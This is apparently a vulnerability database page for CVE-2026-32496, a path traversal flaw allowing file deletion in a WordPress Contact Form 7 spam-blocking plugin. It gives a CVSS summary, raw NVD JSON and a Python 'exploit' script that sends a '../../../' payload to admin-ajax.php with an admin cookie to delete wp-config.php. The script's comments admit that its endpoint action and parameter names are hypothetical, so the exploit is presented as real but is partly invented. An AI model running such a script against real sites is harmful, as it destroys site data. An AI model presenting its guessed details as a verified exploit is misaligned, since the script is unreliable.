Security Vulnerability Report
中文
CVE-2026-32496 CVSS 6.8 MEDIUM

CVE-2026-32496

Published: 2026-03-25 17:17:01
Last Modified: 2026-04-29 10:17:15

Description

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in NYSL Spam Protect for Contact Form 7 wp-contact-form-7-spam-blocker allows Path Traversal.This issue affects Spam Protect for Contact Form 7: from n/a through <= 1.2.9.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

NYSL Spam Protect for Contact Form 7 <= 1.2.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: NYSL Spam Protect for Contact Form 7 - Path Traversal (CVE-2026-32496) # Date: 2026-03-25 # Exploit Author: Security Analyst # Vendor Homepage: https://wordpress.org/ # Software Link: https://wordpress.org/plugins/wp-contact-form-7-spam-blocker/ # Version: <= 1.2.9 # CVE: CVE-2026-32496 def exploit(target_url, admin_cookie, file_to_delete): """ Exploits the path traversal vulnerability to delete a file. Requires high privilege (Admin) cookie. """ # The vulnerable endpoint is typically an AJAX action or a specific admin page # Adjust the endpoint based on actual vulnerability analysis url = f"{target_url}/wp-admin/admin-ajax.php" headers = { "Cookie": admin_cookie, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Payload constructing path traversal sequence # The parameter name 'file' is hypothetical; replace with actual vulnerable param data = { "action": "vulnerable_plugin_action", "file": f"../../../{file_to_delete}" } try: response = requests.post(url, headers=headers, data=data) if response.status_code == 200: print(f"[+] Request sent successfully to {url}") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with a valid authenticated admin cookie from the target site cookie = "wordpress_logged_in_xxxxxxxxxxxxxxxxxxxxxxxxxxxx" target_file = "wp-config.php" print(f"[*] Attempting to delete {target_file} on {target}...") exploit(target, cookie, target_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32496", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:17:01.383", "lastModified": "2026-04-29T10:17:15.180", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in NYSL Spam Protect for Contact Form 7 wp-contact-form-7-spam-blocker allows Path Traversal.This issue affects Spam Protect for Contact Form 7: from n/a through <= 1.2.9."}, {"lang": "es", "value": "Vulnerabilidad de limitación incorrecta de un nombre de ruta a un directorio restringido ('Salto de ruta') en NYSL Spam Protect para Contact Form 7 wp-contact-form-7-spam-blocker permite el salto de ruta. Este problema afecta a Spam Protect para Contact Form 7: desde n/a hasta &lt;= 1.2.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 4.0}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-contact-form-7-spam-blocker/vulnerability/wordpress-spam-protect-for-contact-form-7-plugin-1-2-9-arbitrary-file-deletion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}